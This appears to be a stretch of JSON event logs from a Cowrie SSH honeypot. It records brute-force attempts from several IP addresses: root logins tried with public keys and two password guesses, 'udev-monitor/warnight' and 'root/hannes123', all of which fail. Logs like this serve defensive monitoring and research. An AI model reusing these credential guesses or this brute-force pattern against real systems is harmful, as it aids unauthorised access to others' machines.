{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:14.897733Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIpwG81+5egzUZUfQHo7X4HtB5jUc0y90mz8MFFrMkk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.489741Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIpwG81+5egzUZUfQHo7X4HtB5jUc0y90mz8MFFrMkk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.494041Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MyqWSd+qaOuqpEeruXqGLiiS9YVHaAP4FMn+v9XPKKbBqk9g9nPvKpg6VpsCtfc40GBZYpCLC7K9ZmjP2bl87dpew7PS3EVJo8wB5nQSCwW0zzV3xcnh6TD2x+OIebMtWOFL4SUlrans8TsF5tM3w1xNa1D2j6dBG7AePhK/3KcFZ9iGL7iTptelgYES8Ad7hg13sOZ2keF/CwSfa/enltyymBGUUKeSjTG2nb8K/n1mwPlh1h27bnorD4FfBYW1BnGt1I1OesyxfOuLlFRozFftQJ6K82rg+0nUra7Xg85llYAFDs83RlIRHIeOucdNTCBGzuijdeTQ2OLJDEoF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.622433Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MyqWSd+qaOuqpEeruXqGLiiS9YVHaAP4FMn+v9XPKKbBqk9g9nPvKpg6VpsCtfc40GBZYpCLC7K9ZmjP2bl87dpew7PS3EVJo8wB5nQSCwW0zzV3xcnh6TD2x+OIebMtWOFL4SUlrans8TsF5tM3w1xNa1D2j6dBG7AePhK/3KcFZ9iGL7iTptelgYES8Ad7hg13sOZ2keF/CwSfa/enltyymBGUUKeSjTG2nb8K/n1mwPlh1h27bnorD4FfBYW1BnGt1I1OesyxfOuLlFRozFftQJ6K82rg+0nUra7Xg85llYAFDs83RlIRHIeOucdNTCBGzuijdeTQ2OLJDEoF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.628766Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGADLEYDwqguW5sCtJ2Zw2/jkqCh++RwrpvmpLTvp+9IRaoDdWSS7g5uLYTBqNBik7KN3NXEjRmBtlocZ4rU0/mxfG28GPdiXNfLmhuf4T9mqDDFoK2SSHIINp+cLEpClEUgj/WOgl5O991lh9NQ9d7yamfqowyswvd+K6zjEWcCwYhs3ObDYTK+lOofyQDV/08ZFdarZb2ld6fh6a/DBsLvC8mlPDrmiB8rwQ2Ne/q7p65hr5wVpZCeQWrTOgn0W7u5/hHu9UXypZqfuRVOs7jC9e17IbhupzxR1tUdH8eB6M/oZV+RyhsE5MNG04MaCwYmlgOk5OxTXy3RejTpof","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.755887Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGADLEYDwqguW5sCtJ2Zw2/jkqCh++RwrpvmpLTvp+9IRaoDdWSS7g5uLYTBqNBik7KN3NXEjRmBtlocZ4rU0/mxfG28GPdiXNfLmhuf4T9mqDDFoK2SSHIINp+cLEpClEUgj/WOgl5O991lh9NQ9d7yamfqowyswvd+K6zjEWcCwYhs3ObDYTK+lOofyQDV/08ZFdarZb2ld6fh6a/DBsLvC8mlPDrmiB8rwQ2Ne/q7p65hr5wVpZCeQWrTOgn0W7u5/hHu9UXypZqfuRVOs7jC9e17IbhupzxR1tUdH8eB6M/oZV+RyhsE5MNG04MaCwYmlgOk5OxTXy3RejTpof","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.760393Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz1eC+rznllkMbv5GG8h9U28EvsB8Y8qddYFJq7bvCbcsWvj8Xg2jOxwZPMayQ/L49Qq7wDurCXjQ9GfRCrG2v704BArGi8vgK8BQVtj9M6YMHM4+0HGae1P+xwhP7RT7U98K3T9ibGysiPUHywC46BuG5kFXgEf5GE0g9nHAwtN8JFqTV0XfdfRs7gvE6YpmshXJ23Nl2ictnsuTdkxOmDhSIkRvmToGqgHh9Khfj+xM8So9TO5F9tblAPzg4BDqb7LJvYJVEA3pTFtNj7GYht9175cHjSDDcAo/2dioc3aG5eJ0yxCMCmy/1g1kQVkd8Xsh1OtD2tGL4mHcFk3l5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.885872Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz1eC+rznllkMbv5GG8h9U28EvsB8Y8qddYFJq7bvCbcsWvj8Xg2jOxwZPMayQ/L49Qq7wDurCXjQ9GfRCrG2v704BArGi8vgK8BQVtj9M6YMHM4+0HGae1P+xwhP7RT7U98K3T9ibGysiPUHywC46BuG5kFXgEf5GE0g9nHAwtN8JFqTV0XfdfRs7gvE6YpmshXJ23Nl2ictnsuTdkxOmDhSIkRvmToGqgHh9Khfj+xM8So9TO5F9tblAPzg4BDqb7LJvYJVEA3pTFtNj7GYht9175cHjSDDcAo/2dioc3aG5eJ0yxCMCmy/1g1kQVkd8Xsh1OtD2tGL4mHcFk3l5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:15.891252Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAu4kJwjYOliH/eH7HKcWUCsgNgRQJVRpC6ihM4CybKxmcIOXnxEAh33Q/9u7LSLYNU9KXtLpFeCffuXBql3pX6VnNk9W9Da3tbqCvO/bcCPO0aWAdPZPSXTnVMRNcQELt6AGZSNqKUax7WbvCe7vBy0g5t92NqxZGpMMy9aoxtzKUbs6nOJwzZxKJuOv+699LkvcZtp5AhW17wl6R60zrfs8sVBsI7mcbrGYW8qkAfLL8KKbf4Xz26V4dWjstXiUZ7dWsw8JcQX9quw6NxRjf4Va7zKmJayTy4k/2cmtN8JWWDTGONXWz8dAyVH7v+o0wOEbBlFQvbEAdUaHwYLytn4QNDuro82f8+BhdDJES/g6icKF0zfQ9RYmZ6LkWomAoXMtHKtBYsNCzSDXQD8DOO9jLBIOSyxiiUiXfqrVoRunfARDBGWu+FXLPalLJyDTu+xMfoPiy0jdS0tu6R1/bTIQkA8rCLflrYQmKhAYDDUf2PYO5THSMugMNFi6Qq1ItcQeD94D0dUSE2+oM6LadfGZykhCqJMitAxVwC/aitzLdwFldeEUdyy47Hh3ZP0b+C7AM+hEO+kjx63EdZ4Sht10wVxZ7foknz6FZV9b0bs7uEidQsr1diIBdnhHwtN9zElg6pJsWGT1XYsB9ENQAFBHYWBJI3AsQht74vZoyWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:16.016563Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAu4kJwjYOliH/eH7HKcWUCsgNgRQJVRpC6ihM4CybKxmcIOXnxEAh33Q/9u7LSLYNU9KXtLpFeCffuXBql3pX6VnNk9W9Da3tbqCvO/bcCPO0aWAdPZPSXTnVMRNcQELt6AGZSNqKUax7WbvCe7vBy0g5t92NqxZGpMMy9aoxtzKUbs6nOJwzZxKJuOv+699LkvcZtp5AhW17wl6R60zrfs8sVBsI7mcbrGYW8qkAfLL8KKbf4Xz26V4dWjstXiUZ7dWsw8JcQX9quw6NxRjf4Va7zKmJayTy4k/2cmtN8JWWDTGONXWz8dAyVH7v+o0wOEbBlFQvbEAdUaHwYLytn4QNDuro82f8+BhdDJES/g6icKF0zfQ9RYmZ6LkWomAoXMtHKtBYsNCzSDXQD8DOO9jLBIOSyxiiUiXfqrVoRunfARDBGWu+FXLPalLJyDTu+xMfoPiy0jdS0tu6R1/bTIQkA8rCLflrYQmKhAYDDUf2PYO5THSMugMNFi6Qq1ItcQeD94D0dUSE2+oM6LadfGZykhCqJMitAxVwC/aitzLdwFldeEUdyy47Hh3ZP0b+C7AM+hEO+kjx63EdZ4Sht10wVxZ7foknz6FZV9b0bs7uEidQsr1diIBdnhHwtN9zElg6pJsWGT1XYsB9ENQAFBHYWBJI3AsQht74vZoyWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:16.021498Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:16.146404Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":33920,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a33e61974b","protocol":"ssh","message":"New connection: 139.59.208.49:33920 (159.203.135.109:22) [session: 09a33e61974b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:32.259567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:32.263526Z","src_ip":"139.59.208.49","session":"09a33e61974b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:32.345742Z","src_ip":"139.59.208.49","session":"09a33e61974b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:32.707927Z","src_ip":"139.59.208.49","session":"09a33e61974b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:33.793190Z","src_ip":"139.59.208.49","session":"09a33e61974b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":51212,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd9bb734360","protocol":"ssh","message":"New connection: 190.167.237.191:51212 (159.203.135.109:22) [session: ecd9bb734360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.092025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.096827Z","src_ip":"190.167.237.191","session":"ecd9bb734360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.162404Z","src_ip":"190.167.237.191","session":"ecd9bb734360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hannes123","message":"login attempt [root/hannes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.451148Z","src_ip":"190.167.237.191","session":"ecd9bb734360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.80.4","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"96a51378aa05","protocol":"ssh","message":"New connection: 91.98.80.4:33858 (10.17.0.5:22) [session: 96a51378aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.481535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.486467Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:35.586452Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIpwG81+5egzUZUfQHo7X4HtB5jUc0y90mz8MFFrMkk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.031418Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:8f:38:0e:36:12:6c:18:df:9a:49:6b:72:4a:fb:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIpwG81+5egzUZUfQHo7X4HtB5jUc0y90mz8MFFrMkk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.035518Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MyqWSd+qaOuqpEeruXqGLiiS9YVHaAP4FMn+v9XPKKbBqk9g9nPvKpg6VpsCtfc40GBZYpCLC7K9ZmjP2bl87dpew7PS3EVJo8wB5nQSCwW0zzV3xcnh6TD2x+OIebMtWOFL4SUlrans8TsF5tM3w1xNa1D2j6dBG7AePhK/3KcFZ9iGL7iTptelgYES8Ad7hg13sOZ2keF/CwSfa/enltyymBGUUKeSjTG2nb8K/n1mwPlh1h27bnorD4FfBYW1BnGt1I1OesyxfOuLlFRozFftQJ6K82rg+0nUra7Xg85llYAFDs83RlIRHIeOucdNTCBGzuijdeTQ2OLJDEoF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.133942Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:4d:72:6e:c5:80:bb:8f:51:70:02:26:ba:bd:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MyqWSd+qaOuqpEeruXqGLiiS9YVHaAP4FMn+v9XPKKbBqk9g9nPvKpg6VpsCtfc40GBZYpCLC7K9ZmjP2bl87dpew7PS3EVJo8wB5nQSCwW0zzV3xcnh6TD2x+OIebMtWOFL4SUlrans8TsF5tM3w1xNa1D2j6dBG7AePhK/3KcFZ9iGL7iTptelgYES8Ad7hg13sOZ2keF/CwSfa/enltyymBGUUKeSjTG2nb8K/n1mwPlh1h27bnorD4FfBYW1BnGt1I1OesyxfOuLlFRozFftQJ6K82rg+0nUra7Xg85llYAFDs83RlIRHIeOucdNTCBGzuijdeTQ2OLJDEoF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.137808Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
